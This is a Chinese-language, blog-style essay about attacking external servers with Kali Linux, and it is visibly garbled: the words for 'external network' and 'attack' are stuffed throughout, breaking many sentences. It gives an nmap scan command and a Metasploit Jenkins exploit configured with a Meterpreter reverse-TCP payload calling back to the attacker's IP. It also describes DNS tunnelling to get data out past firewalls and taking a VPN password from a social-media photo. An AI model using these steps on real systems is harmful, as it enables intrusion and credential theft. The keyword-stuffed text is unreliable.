kali攻击外网

凌晨两点，攻击我盯着终端里跳动的外网光标，一条tcp连接从本地443端口指向了某个位于法兰克福的攻击IP。这不是外网演习，也不是攻击什么授权渗透测试——严格来说，这是外网一次“外网攻击”的模拟实验，目标是攻击我自己搭在海外VPS上的蜜罐服务器。但如果你把“外网”换成“别人的外网服务器”，那性质就完全变了。攻击

Kali Linux里最常用的外网工具，其实不是攻击那些花哨的图形界面，而是外网几个命令行的老骨头。拿nmap来说，攻击一条nmap -sS -sV -O 203.0.113.0/24扫过去，外网对方网段开了哪些端口、攻击跑了什么服务、操作系统是Linux还是Windows，基本就裸奔了。我扫过一个朋友的测试站，发现他8080端口挂着个老旧的Jenkins，版本号还是2018年的——这种漏洞库里有现成exploit的玩意儿，就像把家门钥匙挂在锁孔上。

真正有意思的是漏洞利用那一步。外网攻击最怕的不是目标多硬，而是你打进去之后不知道下一步干什么。Metasploit的exploit/multi/http/jenkins_script_console模块，一条set payload java/meterpreter/reverse_tcp，再set LHOST你的公网IP，回车。如果对方没做网络隔离，你就能拿到一个Meterpreter会话，像钻进对方机房的耗子，翻文件、截键盘、抓密码哈希，全看心情。

但别急着兴奋。外网攻击的难点从来不在“打进去”，而在“活着出来”。我试过对一个位于新加坡的靶机发起攻击，msf反弹shell倒是成功了，结果对方防火墙对出站流量做了深度检测，我的tcp连接刚建立三秒就被掐断。后来改用dns隧道——把数据包塞进DNS查询请求里，用53端口往外带信息。那感觉就像在人群里用摩斯密码打暗号，慢是慢了点，但至少不会被保安揪出来。

有个细节很多人忽略：外网攻击的“侦查阶段”往往比攻击本身更耗时。你得查目标域名解析记录、找子域名、翻证书透明度日志，甚至去Google缓存里挖老页面。我见过一个哥们儿，花两周时间从LinkedIn上扒出目标公司某运维的微博，最后靠他晒的工位照片里一张便利贴上的VPN密码，直接进了内网。这算不算攻击？当然算。技术含量低，但效果比任何0day都猛。

说回kali本身。它不过是个工具箱，真正决定成败的是使用者的脑子。有人拿它扫出漏洞就急着跑exp，结果把对方服务器打崩了，日志留了一地；也有人只用一个curl -I看响应头，就能从Server字段里嗅出对方用的nginx版本和可能的配置缺陷。外网攻击像下棋，多数时候拼的是耐心——你布好饵，等对方自己咬钩。

最后提一嘴法律风险。文章开头那个蜜罐实验，我提前写了授权书，VPS服务商也备案了。你要是拿这些命令对着别人的机器跑，轻则封IP，重则进局子。kali本身无罪，但用它的手得知道分寸。技术这玩意儿，用在防守上叫安全研究，用在别人身上叫犯罪。区别就在一念之间。